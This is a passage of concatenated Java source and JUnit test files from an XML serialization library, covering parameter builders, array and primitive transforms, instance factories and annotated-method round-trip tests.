* the annotation is not know this method throws an exception.
*
* @param label the XML annotation used to create the parameter
*
* @return this returns the entry used to create a constructor
*/
private ParameterBuilder getBuilder(Annotation label) throws Exception{
if(label instanceof Element) {
return new ParameterBuilder(ElementParameter.class, Element.class);
}
if(label instanceof ElementList) {
return new ParameterBuilder(ElementListParameter.class, ElementList.class);
}
if(label instanceof ElementArray) {
return new ParameterBuilder(ElementArrayParameter.class, ElementArray.class);
}
if(label instanceof ElementMapUnion) {
return new ParameterBuilder(ElementMapUnionParameter.class, ElementMapUnion.class, ElementMap.class);
}
if(label instanceof ElementListUnion) {
return new ParameterBuilder(ElementListUnionParameter.class, ElementListUnion.class, ElementList.class);
}
if(label instanceof ElementUnion) {
return new ParameterBuilder(ElementUnionParameter.class, ElementUnion.class, Element.class);
}
if(label instanceof ElementMap) {
return new ParameterBuilder(ElementMapParameter.class, ElementMap.class);
}
if(label instanceof Attribute) {
return new ParameterBuilder(AttributeParameter.class, Attribute.class);
}
if(label instanceof Text) {
return new ParameterBuilder(TextParameter.class, Text.class);
}
throw new PersistenceException("Annotation %s not supported", label);
}
/**
* The <code>ParameterBuilder<code> is used to create a constructor
* that can be used to instantiate the correct parameter for the
* XML annotation specified. The constructor requires three
* arguments, the constructor, the annotation, and the index.
*
* @see java.lang.reflect.Constructor
*/
private static class ParameterBuilder {
/**
* This is the entry that is used to create the parameter.
*/
private final Class entry;
/**
* This is the XML annotation type within the constructor.
*/
private final Class label;
/**
* This is the parameter type that is to be instantiated.
*/
private final Class type;
/**
* Constructor for the <code>PameterBuilder</code> object. This
* pairs the parameter type with the annotation argument used
* within the constructor. This allows constructor to be selected.
*
* @param type this is the parameter type to be instantiated
* @param label the type that is used within the constructor
*/
public ParameterBuilder(Class type, Class label) {
this(type, label, null);
}
/**
* Constructor for the <code>PameterBuilder</code> object. This
* pairs the parameter type with the annotation argument used
* within the constructor. This allows constructor to be selected.
*
* @param type this is the parameter type to be instantiated
* @param label the type that is used within the constructor
* @param entry this is the entry used to create the parameter
*/
public ParameterBuilder(Class type, Class label, Class entry) {
this.label = label;
this.entry = entry;
this.type = type;
}
/**
* Creates the constructor used to instantiate the label for
* the XML annotation. The constructor returned will take two
* arguments, a contact and the XML annotation type.
*
* @return returns the constructor for the label object
*/
public Constructor getConstructor() throws Exception {
if(entry != null) {
return getConstructor(label, entry);
}
return getConstructor(label);
}
/**
* Creates the constructor used to instantiate the parameter
* for the XML annotation. The constructor returned will take
* two arguments, a contact and the XML annotation type.
*
* @param label the type that is used within the constructor
*
* @return returns the constructor for the parameter object
*/
public Constructor getConstructor(Class label) throws Exception {
return getConstructor(Constructor.class, label, Format.class, int.class);
}
/**
* Creates the constructor used to instantiate the parameter
* for the XML annotation. The constructor returned will take
* two arguments, a contact and the XML annotation type.
*
* @param label the type that is used within the constructor
* @param entry this is the entry used to create the parameter
*
* @return returns the constructor for the parameter object
*/
public Constructor getConstructor(Class label, Class entry) throws Exception {
return getConstructor(Constructor.class, label, entry, Format.class, int.class);
}
/**
* Creates the constructor used to instantiate the parameter
* for the XML annotation. The constructor returned will take
* three arguments, a constructor, an annotation and a type.
*
* @param types these are the arguments for the constructor
*
* @return returns the constructor for the parameter object
*/
private Constructor getConstructor(Class... types) throws Exception {
return type.getConstructor(types);
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/PrimitiveArrayTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringReader;
import junit.framework.TestCase;
import org.simpleframework.xml.strategy.TreeStrategy;
import org.simpleframework.xml.stream.InputNode;
import org.simpleframework.xml.stream.NodeBuilder;
public class PrimitiveArrayTest extends TestCase {
public static final String ZERO =
"<array length='0' class='java.lang.String'/>";
public static final String TWO =
"<array length='2' class='java.lang.String'>"+
" <entry>one</entry>" +
" <entry>two</entry>" +
"</array>";
public void testZero() throws Exception {
Context context = new Source(new TreeStrategy(), new Support(), new Session());
PrimitiveArray primitive = new PrimitiveArray(context, new ClassType(String[].class), new ClassType(String.class), "entry");
InputNode node = NodeBuilder.read(new StringReader(ZERO));
Object value = primitive.read(node);
assertEquals(value.getClass(), String[].class);
InputNode newNode = NodeBuilder.read(new StringReader(ZERO));
assertTrue(primitive.validate(newNode));
}
public void testTwo() throws Exception {
Context context = new Source(new TreeStrategy(), new Support(), new Session());
PrimitiveArray primitive = new PrimitiveArray(context, new ClassType(String[].class), new ClassType(String.class), "entry");
InputNode node = NodeBuilder.read(new StringReader(TWO));
Object value = primitive.read(node);
assertEquals(value.getClass(), String[].class);
String[] list = (String[]) value;
assertEquals(list.length, 2);
assertEquals(list[0], "one");
assertEquals(list[1], "two");
InputNode newNode = NodeBuilder.read(new StringReader(TWO));
assertTrue(primitive.validate(newNode));
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/TimeZoneTransformTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import java.util.TimeZone;
import org.simpleframework.xml.transform.TimeZoneTransform;
import junit.framework.TestCase;
public class TimeZoneTransformTest extends TestCase {
public void testTimeZone() throws Exception {
TimeZone zone = TimeZone.getTimeZone("GMT");
TimeZoneTransform format = new TimeZoneTransform();
String value = format.write(zone);
TimeZone copy = format.read(value);
assertEquals(zone, copy);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/transform/TransformerTest.java<|end_filename|>
package org.simpleframework.xml.transform;
import org.simpleframework.xml.transform.Transformer;
import junit.framework.TestCase;
public class TransformerTest extends TestCase {
private static class BlankMatcher implements Matcher {
public Transform match(Class type) throws Exception {
return null;
}
}
private Transformer transformer;
public void setUp() {
this.transformer = new Transformer(new BlankMatcher());
}
public void testInteger() throws Exception {
Object value = transformer.read("1", Integer.class);
String text = transformer.write(value, Integer.class);
assertEquals(value, new Integer(1));
assertEquals(text, "1");
}
public void testString() throws Exception {
Object value = transformer.read("some text", String.class);
String text = transformer.write(value, String.class);
assertEquals("some text", value);
assertEquals("some text", text);
}
public void testCharacter() throws Exception {
Object value = transformer.read("c", Character.class);
String text = transformer.write(value, Character.class);
assertEquals(value, new Character('c'));
assertEquals(text, "c");
}
public void testInvalidCharacter() throws Exception {
boolean success = false;
try {
transformer.read("too long", Character.class);
}catch(InvalidFormatException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testFloat() throws Exception {
Object value = transformer.read("1.12", Float.class);
String text = transformer.write(value, Float.class);
assertEquals(value, new Float(1.12));
assertEquals(text, "1.12");
}
public void testDouble() throws Exception {
Object value = transformer.read("12.33", Double.class);
String text = transformer.write(value, Double.class);
assertEquals(value, new Double(12.33));
assertEquals(text, "12.33");
}
public void testBoolean() throws Exception {
Object value = transformer.read("true", Boolean.class);
String text = transformer.write(value, Boolean.class);
assertEquals(value, Boolean.TRUE);
assertEquals(text, "true");
}
public void testLong() throws Exception {
Object value = transformer.read("1234567", Long.class);
String text = transformer.write(value, Long.class);
assertEquals(value, new Long(1234567));
assertEquals(text, "1234567");
}
public void testShort() throws Exception {
Object value = transformer.read("12", Short.class);
String text = transformer.write(value, Short.class);
assertEquals(value, new Short((short)12));
assertEquals(text, "12");
}
public void testPrimitiveIntegerArray() throws Exception {
Object value = transformer.read("1, 2, 3, 4, 5", int[].class);
String text = transformer.write(value, int[].class);
assertTrue(value instanceof int[]);
int[] array = (int[])value;
assertEquals(array.length, 5);
assertEquals(array[0], 1);
assertEquals(array[1], 2);
assertEquals(array[2], 3);
assertEquals(array[3], 4);
assertEquals(array[4], 5);
assertEquals(text, "1, 2, 3, 4, 5");
}
public void testPrimitiveLongArray() throws Exception {
Object value = transformer.read("1, 2, 3, 4, 5", long[].class);
String text = transformer.write(value, long[].class);
assertTrue(value instanceof long[]);
long[] array = (long[])value;
assertEquals(array.length, 5);
assertEquals(array[0], 1);
assertEquals(array[1], 2);
assertEquals(array[2], 3);
assertEquals(array[3], 4);
assertEquals(array[4], 5);
assertEquals(text, "1, 2, 3, 4, 5");
}
public void testPrimitiveShortArray() throws Exception {
Object value = transformer.read("1, 2, 3, 4, 5", short[].class);
String text = transformer.write(value, short[].class);
assertTrue(value instanceof short[]);
short[] array = (short[])value;
assertEquals(array.length, 5);
assertEquals(array[0], 1);
assertEquals(array[1], 2);
assertEquals(array[2], 3);
assertEquals(array[3], 4);
assertEquals(array[4], 5);
assertEquals(text, "1, 2, 3, 4, 5");
}
public void testPrimitiveByteArray() throws Exception {
Object value = transformer.read("1, 2, 3, 4, 5", byte[].class);
String text = transformer.write(value, byte[].class);
assertTrue(value instanceof byte[]);
byte[] array = (byte[])value;
assertEquals(array.length, 5);
assertEquals(array[0], 1);
assertEquals(array[1], 2);
assertEquals(array[2], 3);
assertEquals(array[3], 4);
assertEquals(array[4], 5);
assertEquals(text, "1, 2, 3, 4, 5");
}
public void testPrimitiveFloatArray() throws Exception {
Object value = transformer.read("1.0, 2.0, 3.0, 4.0, 5.0", float[].class);
String text = transformer.write(value, float[].class);
assertTrue(value instanceof float[]);
float[] array = (float[])value;
assertEquals(array.length, 5);
assertEquals(array[0], 1.0f);
assertEquals(array[1], 2.0f);
assertEquals(array[2], 3.0f);
assertEquals(array[3], 4.0f);
assertEquals(array[4], 5.0f);
assertEquals(text, "1.0, 2.0, 3.0, 4.0, 5.0");
}
public void testPrimitiveDoubleArray() throws Exception {
Object value = transformer.read("1, 2, 3, 4, 5", double[].class);
String text = transformer.write(value, double[].class);
assertTrue(value instanceof double[]);
double[] array = (double[])value;
assertEquals(array.length, 5);
assertEquals(array[0], 1.0d);
assertEquals(array[1], 2.0d);
assertEquals(array[2], 3.0d);
assertEquals(array[3], 4.0d);
assertEquals(array[4], 5.0d);
assertEquals(text, "1.0, 2.0, 3.0, 4.0, 5.0");
}
public void testPrimitiveCharacterArray() throws Exception {
Object value = transformer.read("hello world", char[].class);
String text = transformer.write(value, char[].class);
assertTrue(value instanceof char[]);
char[] array = (char[])value;
assertEquals(array.length, 11);
assertEquals(array[0], 'h');
assertEquals(array[1], 'e');
assertEquals(array[2], 'l');
assertEquals(array[3], 'l');
assertEquals(array[4], 'o');
assertEquals(array[5], ' ');
assertEquals(array[6], 'w');
assertEquals(array[7], 'o');
assertEquals(array[8], 'r');
assertEquals(array[9], 'l');
assertEquals(array[10], 'd');
assertEquals(text, "hello world");
}
// Java Language types
public void testIntegerArray() throws Exception {
Object value = transformer.read("1, 2, 3, 4, 5", Integer[].class);
String text = transformer.write(value, Integer[].class);
assertTrue(value instanceof Integer[]);
Integer[] array = (Integer[])value;
assertEquals(array.length, 5);
assertEquals(array[0], new Integer(1));
assertEquals(array[1], new Integer(2));
assertEquals(array[2], new Integer(3));
assertEquals(array[3], new Integer(4));
assertEquals(array[4], new Integer(5));
assertEquals(text, "1, 2, 3, 4, 5");
}
public void testBooleanArray() throws Exception {
Object value = transformer.read("true, false, false, false, true", Boolean[].class);
String text = transformer.write(value, Boolean[].class);
assertTrue(value instanceof Boolean[]);
Boolean[] array = (Boolean[])value;
assertEquals(array.length, 5);
assertEquals(array[0], Boolean.TRUE);
assertEquals(array[1], Boolean.FALSE);
assertEquals(array[2], Boolean.FALSE);
assertEquals(array[3], Boolean.FALSE);
assertEquals(array[4], Boolean.TRUE);
assertEquals(text, "true, false, false, false, true");
}
public void testLongArray() throws Exception {
Object value = transformer.read("1, 2, 3, 4, 5", Long[].class);
String text = transformer.write(value, Long[].class);
assertTrue(value instanceof Long[]);
Long[] array = (Long[])value;
assertEquals(array.length, 5);
assertEquals(array[0], new Long(1));
assertEquals(array[1], new Long(2));
assertEquals(array[2], new Long(3));
assertEquals(array[3], new Long(4));
assertEquals(array[4], new Long(5));
assertEquals(text, "1, 2, 3, 4, 5");
}
public void testShortArray() throws Exception {
Object value = transformer.read("1, 2, 3, 4, 5", Short[].class);
String text = transformer.write(value, Short[].class);
assertTrue(value instanceof Short[]);
Short[] array = (Short[])value;
assertEquals(array.length, 5);
assertEquals(array[0], new Short((short)1));
assertEquals(array[1], new Short((short)2));
assertEquals(array[2], new Short((short)3));
assertEquals(array[3], new Short((short)4));
assertEquals(array[4], new Short((short)5));
assertEquals(text, "1, 2, 3, 4, 5");
}
public void testByteArray() throws Exception {
Object value = transformer.read("1, 2, 3, 4, 5", Byte[].class);
String text = transformer.write(value, Byte[].class);
assertTrue(value instanceof Byte[]);
Byte[] array = (Byte[])value;
assertEquals(array.length, 5);
assertEquals(array[0], new Byte((byte)1));
assertEquals(array[1], new Byte((byte)2));
assertEquals(array[2], new Byte((byte)3));
assertEquals(array[3], new Byte((byte)4));
assertEquals(array[4], new Byte((byte)5));
assertEquals(text, "1, 2, 3, 4, 5");
}
public void testFloatArray() throws Exception {
Object value = transformer.read("1.0, 2.0, 3.0, 4.0, 5.0", Float[].class);
String text = transformer.write(value, Float[].class);
assertTrue(value instanceof Float[]);
Float[] array = (Float[])value;
assertEquals(array.length, 5);
assertEquals(array[0], new Float(1.0f));
assertEquals(array[1], new Float(2.0f));
assertEquals(array[2], new Float(3.0f));
assertEquals(array[3], new Float(4.0f));
assertEquals(array[4], new Float(5.0f));
assertEquals(text, "1.0, 2.0, 3.0, 4.0, 5.0");
}
public void testDoubleArray() throws Exception {
Object value = transformer.read("1, 2, 3, 4, 5", Double[].class);
String text = transformer.write(value, Double[].class);
assertTrue(value instanceof Double[]);
Double[] array = (Double[])value;
assertEquals(array.length, 5);
assertEquals(array[0], new Double(1.0d));
assertEquals(array[1], new Double(2.0d));
assertEquals(array[2], new Double(3.0d));
assertEquals(array[3], new Double(4.0d));
assertEquals(array[4], new Double(5.0d));
assertEquals(text, "1.0, 2.0, 3.0, 4.0, 5.0");
}
public void testCharacterArray() throws Exception {
Object value = transformer.read("hello world", Character[].class);
String text = transformer.write(value, Character[].class);
assertTrue(value instanceof Character[]);
Character[] array = (Character[])value;
assertEquals(array.length, 11);
assertEquals(array[0], new Character('h'));
assertEquals(array[1], new Character('e'));
assertEquals(array[2], new Character('l'));
assertEquals(array[3], new Character('l'));
assertEquals(array[4], new Character('o'));
assertEquals(array[5], new Character(' '));
assertEquals(array[6], new Character('w'));
assertEquals(array[7], new Character('o'));
assertEquals(array[8], new Character('r'));
assertEquals(array[9], new Character('l'));
assertEquals(array[10], new Character('d'));
assertEquals(text, "hello world");
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/transform/StringArrayTransform.java<|end_filename|>
/*
* StringArrayTransform.java May 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.transform;
import org.simpleframework.xml.transform.Transform;
import java.util.regex.Pattern;
/**
* The <code>StringArrayTransform</code> is used to transform string
* arrays to and from string representations, which will be inserted
* in the generated XML document as the value place holder. The
* value must be readable and writable in the same format. Fields
* and methods annotated with the XML attribute annotation will use
* this to persist and retrieve the value to and from the XML source.
* <pre>
*
* @Attribute
* private String[] array;
*
* </pre>
* As well as the XML attribute values using transforms, fields and
* methods annotated with the XML element annotation will use this.
* Aside from the obvious difference, the element annotation has an
* advantage over the attribute annotation in that it can maintain
* any references using the <code>CycleStrategy</code> object.
*
* @author <NAME>
*/
class StringArrayTransform implements Transform<String[]> {
/**
* Represents the pattern used to split the string values.
*/
private final Pattern pattern;
/**
* This is the token used to split the string into an array.
*/
private final String token;
/**
* Constructor for the <code>StringArrayTransform</code> object.
* This will create a transform that will split an array using a
* comma as the delimeter. In order to perform the split in a
* reasonably performant manner the pattern used is compiled.
*/
public StringArrayTransform() {
this(",");
}
/**
* Constructor for the <code>StringArrayTransform</code> object.
* This will create a transform that will split an array using a
* specified regular expression pattern. To keep the performance
* of the transform reasonable the pattern used is compiled.
*
* @param token the pattern used to split the string values
*/
public StringArrayTransform(String token) {
this.pattern = Pattern.compile(token);
this.token = token;
}
/**
* This method is used to convert the string value given to an
* appropriate representation. This is used when an object is
* being deserialized from the XML document and the value for
* the string representation is required.
*
* @param value this is the string representation of the value
*
* @return this returns an appropriate instanced to be used
*/
public String[] read(String value) {
return read(value, token);
}
/**
* This method is used to convert the string value given to an
* appropriate representation. This is used when an object is
* being deserialized from the XML document and the value for
* the string representation is required.
*
* @param value this is the string representation of the value
* @param token this is the token used to split the string
*
* @return this returns an appropriate instanced to be used
*/
private String[] read(String value, String token) {
String[] list = pattern.split(value);
for(int i = 0; i < list.length; i++) {
String text = list[i];
if(text != null) {
list[i] = text.trim();
}
}
return list;
}
/**
* This method is used to convert the provided value into an XML
* usable format. This is used in the serialization process when
* there is a need to convert a field value in to a string so
* that that value can be written as a valid XML entity.
*
* @param list this is the value to be converted to a string
*
* @return this is the string representation of the given value
*/
public String write(String[] list) {
return write(list, token);
}
/**
* This method is used to convert the provided value into an XML
* usable format. This is used in the serialization process when
* there is a need to convert a field value in to a string so
* that that value can be written as a valid XML entity.
*
* @param list this is the value to be converted to a string
* @param token this is the token used to join the strings
*
* @return this is the string representation of the given value
*/
private String write(String[] list, String token) {
StringBuilder text = new StringBuilder();
for(int i = 0; i < list.length; i++) {
String item = list[i];
if(item != null) {
if(text.length() > 0) {
text.append(token);
text.append(' ');
}
text.append(item);
}
}
return text.toString();
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/InstanceFactory.java<|end_filename|>
/*
* Instantiator.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.lang.reflect.Constructor;
import org.simpleframework.xml.strategy.Value;
import org.simpleframework.xml.util.Cache;
import org.simpleframework.xml.util.ConcurrentCache;
/**
* The <code>Instantiator</code> is used to instantiate types that
* will leverage a constructor cache to quickly create the objects.
* This is used by the various object factories to return type
* instances that can be used by converters to create the objects
* that will later be deserialized.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Instance
*/
class InstanceFactory {
/**
* This is used to cache the constructors for the given types.
*/
private final Cache<Constructor> cache;
/**
* Constructor for the <code>Instantiator</code> object. This will
* create a constructor cache that can be used to cache all of
* the constructors instantiated for the required types.
*/
public InstanceFactory() {
this.cache = new ConcurrentCache<Constructor>();
}
/**
* This will create an <code>Instance</code> that can be used
* to instantiate objects of the specified class. This leverages
* an internal constructor cache to ensure creation is quicker.
*
* @param value this contains information on the object instance
*
* @return this will return an object for instantiating objects
*/
public Instance getInstance(Value value) {
return new ValueInstance(value);
}
/**
* This will create an <code>Instance</code> that can be used
* to instantiate objects of the specified class. This leverages
* an internal constructor cache to ensure creation is quicker.
*
* @param type this is the type that is to be instantiated
*
* @return this will return an object for instantiating objects
*/
public Instance getInstance(Class type) {
return new ClassInstance(type);
}
/**
* This method will instantiate an object of the provided type. If
* the object or constructor does not have public access then this
* will ensure the constructor is accessible and can be used.
*
* @param type this is used to ensure the object is accessible
*
* @return this returns an instance of the specific class type
*/
protected Object getObject(Class type) throws Exception {
Constructor method = cache.fetch(type);
if(method == null) {
method = type.getDeclaredConstructor();
if(!method.isAccessible()) {
method.setAccessible(true);
}
cache.cache(type, method);
}
return method.newInstance();
}
/**
* The <code>ValueInstance</code> object is used to create an object
* by using a <code>Value</code> instance to determine the type. If
* the provided value instance represents a reference then this will
* simply provide the value of the reference, otherwise it will
* instantiate a new object and return that.
*/
private class ValueInstance implements Instance {
/**
* This is the internal value that contains the criteria.
*/
private final Value value;
/**
* This is the type that is to be instantiated by this.
*/
private final Class type;
/**
* Constructor for the <code>ValueInstance</code> object. This
* is used to represent an instance that delegates to the given
* value object in order to acquire the object.
*
* @param value this is the value object that contains the data
*/
public ValueInstance(Value value) {
this.type = value.getType();
this.value = value;
}
/**
* This method is used to acquire an instance of the type that
* is defined by this object. If for some reason the type can
* not be instantiated an exception is thrown from this.
*
* @return an instance of the type this object represents
*/
public Object getInstance() throws Exception {
if(value.isReference()) {
return value.getValue();
}
Object object = getObject(type);
if(value != null) {
value.setValue(object);
}
return object;
}
/**
* This method is used acquire the value from the type and if
* possible replace the value for the type. If the value can
* not be replaced then an exception should be thrown. This
* is used to allow primitives to be inserted into a graph.
*
* @param object this is the object to insert as the value
*
* @return an instance of the type this object represents
*/
public Object setInstance(Object object) {
if(value != null) {
value.setValue(object);
}
return object;
}
/**
* This is used to determine if the type is a reference type.
* A reference type is a type that does not require any XML
* deserialization based on its annotations. Values that are
* references could be substitutes objects or existing ones.
*
* @return this returns true if the object is a reference
*/
public boolean isReference() {
return value.isReference();
}
/**
* This is the type of the object instance that will be created
* by the <code>getInstance</code> method. This allows the
* deserialization process to perform checks against the field.
*
* @return the type of the object that will be instantiated
*/
public Class getType() {
return type;
}
}
/**
* The <code>ClassInstance</code> object is used to create an object
* by using a <code>Class</code> to determine the type. If the given
* class can not be instantiated then this throws an exception when
* the instance is requested. For performance an instantiator is
* given as it contains a reflection cache for constructors.
*/
private class ClassInstance implements Instance {
/**
* This represents the value of the instance if it is set.
*/
private Object value;
/**
* This is the type of the instance that is to be created.
*/
private Class type;
/**
* Constructor for the <code>ClassInstance</code> object. This is
* used to create an instance of the specified type. If the given
* type can not be instantiated then an exception is thrown.
*
* @param type this is the type that is to be instantiated
*/
public ClassInstance(Class type) {
this.type = type;
}
/**
* This method is used to acquire an instance of the type that
* is defined by this object. If for some reason the type can
* not be instantiated an exception is thrown from this.
*
* @return an instance of the type this object represents
*/
public Object getInstance() throws Exception {
if(value == null) {
value = getObject(type);
}
return value;
}
/**
* This method is used acquire the value from the type and if
* possible replace the value for the type. If the value can
* not be replaced then an exception should be thrown. This
* is used to allow primitives to be inserted into a graph.
*
* @param value this is the value to insert as the type
*
* @return an instance of the type this object represents
*/
public Object setInstance(Object value) throws Exception {
return this.value = value;
}
/**
* This is the type of the object instance that will be created
* by the <code>getInstance</code> method. This allows the
* deserialization process to perform checks against the field.
*
* @return the type of the object that will be instantiated
*/
public Class getType() {
return type;
}
/**
* This is used to determine if the type is a reference type.
* A reference type is a type that does not require any XML
* deserialization based on its annotations. Values that are
* references could be substitutes objects or existing ones.
*
* @return this returns true if the object is a reference
*/
public boolean isReference() {
return false;
}
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/strategy/Allocate.java<|end_filename|>
/*
* Allocate.java January 2007
*
* Copyright (C) 2007, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.strategy;
import java.util.Map;
/**
* The <code>Allocate</code> object is used to represent an entity
* that has not yet been created and needs to be allocated to the
* the object graph. This is given a map that contains each node
* in the graph keyed via a unique identifier. When an instance is
* created and set then it is added to the object graph.
*
* @author <NAME>
*/
class Allocate implements Value {
/**
* This is used to create an instance of the specified type.
*/
private Value value;
/**
* This is the unique key that is used to store the value.
*/
private String key;
/**
* This is used to store each instance in the object graph.
*/
private Map map;
/**
* Constructor for the <code>Allocate</code> object. This is used
* to create a value that can be used to set any object in to the
* internal object graph so references can be discovered.
*
* @param value this is the value used to describe the instance
* @param map this contains each instance mapped with a key
* @param key this is the unique key representing this instance
*/
public Allocate(Value value, Map map, String key) {
this.value = value;
this.map = map;
this.key = key;
}
/**
* This method is used to acquire an instance of the type that
* is defined by this object. If the object is not set in the
* graph then this will return null.
*
* @return an instance of the type this object represents
*/
public Object getValue() {
return map.get(key);
}
/**
* This method is used to set the provided object in to the graph
* so that it can later be retrieved. If the key for this value
* is null then no object is set in the object graph.
*
* @param object this is the value to insert to the graph
*/
public void setValue(Object object) {
if(key != null) {
map.put(key, object);
}
value.setValue(object);
}
/**
* This is the type of the object instance that will be created
* and set on this value. If this represents an array then this
* is the component type for the array to be created.
*
* @return the type of the object that will be instantiated
*/
public Class getType() {
return value.getType();
}
/**
* This returns the length of an array if this value represents
* an array. If this does not represent an array then this will
* return zero. It is up to the deserialization process to
* determine if the annotated field or method is an array.
*
* @return this returns the length of the array object
*/
public int getLength() {
return value.getLength();
}
/**
* This method always returns false for the default type. This
* is because by default all elements encountered within the
* XML are to be deserialized based on there XML annotations.
*
* @return this returns false for each type encountered
*/
public boolean isReference() {
return false;
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MethodTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.ValidationTestCase;
public class MethodTest extends ValidationTestCase {
private static final String SOURCE_EXPLICIT =
"<?xml version=\"1.0\"?>\n"+
"<test>\n"+
" <boolean>true</boolean>\r\n"+
" <byte>16</byte> \n\r"+
" <short>120</short> \n\r"+
" <int>1234</int>\n"+
" <float>1234.56</float> \n\r"+
" <long>1234567</long>\n"+
" <double>1234567.89</double> \n\r"+
"</test>";
private static final String SOURCE_IMPLICIT =
"<?xml version=\"1.0\"?>\n"+
"<implicitMethodNameExample>\n"+
" <booleanValue>true</booleanValue>\r\n"+
" <byteValue>16</byteValue> \n\r"+
" <shortValue>120</shortValue> \n\r"+
" <intValue>1234</intValue>\n"+
" <floatValue>1234.56</floatValue> \n\r"+
" <longValue>1234567</longValue>\n"+
" <doubleValue>1234567.89</doubleValue> \n\r"+
"</implicitMethodNameExample>";
@Root(name="test")
private static class ExplicitMethodNameExample {
protected boolean booleanValue;
protected byte byteValue;
protected short shortValue;
protected int intValue;
protected float floatValue;
protected long longValue;
protected double doubleValue;
public ExplicitMethodNameExample() {
super();
}
@Element(name="boolean")
public boolean getBooleanValue() {
return booleanValue;
}
@Element(name="boolean")
public void setBooleanValue(boolean booleanValue) {
this.booleanValue = booleanValue;
}
@Element(name="byte")
public byte getByteValue() {
return byteValue;
}
@Element(name="byte")
public void setByteValue(byte byteValue) {
this.byteValue = byteValue;
}
@Element(name="double")
public double getDoubleValue() {
return doubleValue;
}
@Element(name="double")
public void setDoubleValue(double doubleValue) {
this.doubleValue = doubleValue;
}
@Element(name="float")
public float getFloatValue() {
return floatValue;
}
@Element(name="float")
public void setFloatValue(float floatValue) {
this.floatValue = floatValue;
}
@Element(name="int")
public int getIntValue() {
return intValue;
}
@Element(name="int")
public void setIntValue(int intValue) {
this.intValue = intValue;
}
@Element(name="long")
public long getLongValue() {
return longValue;
}
@Element(name="long")
public void setLongValue(long longValue) {
this.longValue = longValue;
}
@Element(name="short")
public short getShortValue() {
return shortValue;
}
@Element(name="short")
public void setShortValue(short shortValue) {
this.shortValue = shortValue;
}
}
@Root
private static class ImplicitMethodNameExample extends ExplicitMethodNameExample {
@Element
public boolean getBooleanValue() {
return booleanValue;
}
@Element
public void setBooleanValue(boolean booleanValue) {
this.booleanValue = booleanValue;
}
@Element
public byte getByteValue() {
return byteValue;
}
@Element
public void setByteValue(byte byteValue) {
this.byteValue = byteValue;
}
@Element
public double getDoubleValue() {
return doubleValue;
}
@Element
public void setDoubleValue(double doubleValue) {
this.doubleValue = doubleValue;
}
@Element
public float getFloatValue() {
return floatValue;
}
@Element
public void setFloatValue(float floatValue) {
this.floatValue = floatValue;
}
@Element
public int getIntValue() {
return intValue;
}
@Element
public void setIntValue(int intValue) {
this.intValue = intValue;
}
@Element
public long getLongValue() {
return longValue;
}
@Element
public void setLongValue(long longValue) {
this.longValue = longValue;
}
@Element
public short getShortValue() {
return shortValue;
}
@Element
public void setShortValue(short shortValue) {
this.shortValue = shortValue;
}
}
private Persister persister;
public void setUp() throws Exception {
persister = new Persister();
}
public void testExplicitMethodNameExample() throws Exception {
ExplicitMethodNameExample entry = persister.read(ExplicitMethodNameExample.class, SOURCE_EXPLICIT);
assertEquals(entry.booleanValue, true);
assertEquals(entry.byteValue, 16);
assertEquals(entry.shortValue, 120);
assertEquals(entry.intValue, 1234);
assertEquals(entry.floatValue, 1234.56f);
assertEquals(entry.longValue, 1234567l);
assertEquals(entry.doubleValue, 1234567.89d);
StringWriter buffer = new StringWriter();
persister.write(entry, buffer);
validate(entry, persister);
entry = persister.read(ExplicitMethodNameExample.class, buffer.toString());
assertEquals(entry.booleanValue, true);
assertEquals(entry.byteValue, 16);
assertEquals(entry.shortValue, 120);
assertEquals(entry.intValue, 1234);
assertEquals(entry.floatValue, 1234.56f);
assertEquals(entry.longValue, 1234567l);
assertEquals(entry.doubleValue, 1234567.89d);
validate(entry, persister);
}
public void testImplicitMethodNameExample() throws Exception {
ImplicitMethodNameExample entry = persister.read(ImplicitMethodNameExample.class, SOURCE_IMPLICIT);
assertEquals(entry.booleanValue, true);
assertEquals(entry.byteValue, 16);
assertEquals(entry.shortValue, 120);
assertEquals(entry.intValue, 1234);
assertEquals(entry.floatValue, 1234.56f);
assertEquals(entry.longValue, 1234567l);
assertEquals(entry.doubleValue, 1234567.89d);
StringWriter buffer = new StringWriter();
persister.write(entry, buffer);
validate(entry, persister);
entry = persister.read(ImplicitMethodNameExample.class, buffer.toString());
assertEquals(entry.booleanValue, true);
assertEquals(entry.byteValue, 16);
assertEquals(entry.shortValue, 120);
